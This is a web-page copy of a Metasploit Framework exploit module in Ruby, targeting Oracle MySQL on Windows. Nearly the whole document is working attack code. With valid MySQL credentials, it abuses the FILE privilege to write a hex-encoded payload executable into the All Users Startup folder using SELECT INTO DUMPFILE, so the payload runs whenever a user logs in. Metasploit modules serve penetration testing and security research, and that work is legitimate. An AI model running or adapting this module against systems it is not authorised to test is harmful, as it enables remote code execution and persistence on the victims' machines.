CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/mysql_start_up.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MYSQL
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
include Msf::OptionalSession::MySQL
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',
17
'Description' => %q{
18
This module takes advantage of a file privilege misconfiguration problem
19
specifically against Windows MySQL servers. This module abuses the FILE
20
privilege to write a payload to Microsoft's All Users Start Up directory
21
which will execute every time a user logs in. The default All Users Start
22
Up directory used by the module is present on Windows 7.
23
},
24
'Author' =>
25
[
26
'sinn3r',
27
'Sean Verity <veritysr1980[at]gmail.com>'
28
],
29
'DefaultOptions' =>
30
{
31
'DisablePayloadHandler' => true
32
},
33
'License' => MSF_LICENSE,
34
'References' =>
35
[
36
['CVE', '2012-5613'], #DISPUTED
37
['OSVDB', '88118'],
38
['EDB', '23083'],
39
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']
40
],
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
[ 'MySQL on Windows', { } ]
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2012-12-01'
48
))
49
50
register_options(
51
[
52
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
53
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
54
OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
55
])
56
end
57
58
def check
59
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
60
return Exploit::CheckCode::Safe unless m
61
62
return Exploit::CheckCode::Appears if is_windows?
63
64
Exploit::CheckCode::Safe
65
end
66
67
def query(q)
68
rows = []
69
70
begin
71
res = mysql_query(q)
72
return rows unless res
73
res.each_hash do |row|
74
rows << row
75
end
76
rescue ::Rex::Proto::MySQL::Client::ParseError
77
return rows
78
end
79
80
rows
81
end
82
83
def is_windows?
84
r = query("SELECT @@version_compile_os;")
85
r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
86
end
87
88
def get_drive_letter
89
r = query("SELECT @@tmpdir;")
90
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
91
92
drive
93
end
94
95
def upload_file(bin, dest)
96
p = bin.unpack("H*")[0]
97
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
98
end
99
100
def exploit
101
unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')
102
fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")
103
end
104
105
print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") unless session
106
begin
107
# If we have a session make use of it
108
if session
109
print_status("Using existing session #{session.sid}")
110
self.mysql_conn = session.client
111
else
112
# otherwise fallback to attempting to login
113
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
114
return unless m
115
end
116
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
117
fail_with(Failure::NoAccess, "#{peer} - Access denied")
118
end
119
120
fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m || session
121
122
unless is_windows?
123
fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
124
end
125
126
begin
127
drive = get_drive_letter
128
rescue ::Rex::Proto::MySQL::Client::ParseError
129
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
130
end
131
132
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
133
134
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
135
dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
136
exe = generate_payload_exe
137
138
print_status("Uploading to '#{dest}'")
139
begin
140
upload_file(exe, dest)
141
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
142
fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
143
end
144
register_file_for_cleanup("#{dest}")
145
end
146
end
147
148